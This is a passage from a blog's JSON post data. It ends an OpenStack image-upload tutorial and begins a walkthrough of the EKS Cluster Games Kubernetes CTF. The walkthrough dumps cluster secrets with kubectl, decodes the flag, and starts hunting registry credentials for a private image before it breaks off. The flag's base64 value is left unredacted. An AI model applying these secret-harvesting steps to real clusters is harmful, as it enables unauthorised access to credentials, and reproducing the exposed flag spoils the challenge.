#ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebase_server\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--disk-format=qcow2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e--container-format=bare \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--is-public=True\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--file\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eserver.qcow2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--progress\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce the image upload completes you will be able to use it immediately\nwithin nova. You can reference it by name or by the id from [glance\nimage-list]{.title-ref}.\u003c/p\u003e\n\u003cp\u003eTo create your first instance from the image:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eboot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--flavor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em1.tiny\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebase_server\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--key-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edevops\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e--security-groups \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efree_for_all\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest_server\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eObviously the security groups, key name, and flavors are based on your\ninstallation of OpenStack but can all easily be queried from the nova\nAPI:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eflavor-list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecgroup-list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enova\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekeypair-list\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAnd you are done! You'll be able to re-use your new image as a base for\nall new instances you spin up in openstack!\u003c/p\u003e","category":"DevOps","date":"2014-08-02T19:00:00-05:00","tags":["Linux"],"title":"Preparing custom images for OpenStack"}]},"Kubernetes":{"count":3,"posts":[{"id":["2023","eks_cluster_games_ctf"],"path":"2023/eks_cluster_games_ctf","contentHtml":"\u003cp\u003e\u003ca href=\"https://eksclustergames.com\"\u003eeksclustergames.com\u003c/a\u003e is a new CTF targetted at\nkubernetes vulnerabilities. This is a walk through on how to solve the issues.\u003c/p\u003e\n\u003ch1\u003eChallenge 1\u003c/h1\u003e\n\u003cp\u003eThe first challenge starts off with a clue:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eJumpstart your quest by listing all the secrets in the cluster.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eCan you spot the flag among them?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets start off by getting the secrets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDATA\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003elog-rotate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOpaque\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e37\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSince there is only one, lets view it!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"items\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"data\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"flag\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:02:08Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"log-rotate\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"890951\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"03f6372c-b728-4c5b-ad28-70d5af8d387c\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe flag seems to be in \u003ccode\u003e.items[0].data.flag\u003c/code\u003e and is \u003ccode\u003ebase64\u003c/code\u003e encoded so we can\ndecode it as well:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{omg_over_privileged_*REDACTED*}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFirst flag found!\u003c/p\u003e\n\u003cp\u003eThis one was definitely a softball but it gets you nice and warmed up on the\nplatform.\u003c/p\u003e\n\u003ch1\u003eChallenge 2\u003c/h1\u003e\n\u003cp\u003eThe hint for this challenge is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eA thing we learned during our research: always check the container registries.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eFor your convenience, the crane utility is already pre-installed on the machine.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe first thing I think of when reading this is that it has something to do\nwith the registry a pod is living on.   So lets list the pods and see what is\navailable:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edatabase-pod-2c9b3a4e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith only one pod as a target, lets get the image for it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e\"eksclustergames/base_ext_image\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo its on standard \u003ccode\u003edocker.io\u003c/code\u003e registry instead of a private one like I was\nexpecting from the clue.   The second hint was that crane is on the system so\nlets use that to pull the image and inspect it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efetching\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereading\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"eksclustergames/base_ext_image\":\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGET\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUNAUTHORIZED:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthentication\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequired\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich means this is a private image and we are going to need to get some\ncredentials to an account that has access to this image. Usually you have to\ndefine a secret for kubernetes to be able to pull from private registries and\nsince we started off with a secret test first that is where I'm going to go\nnext:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 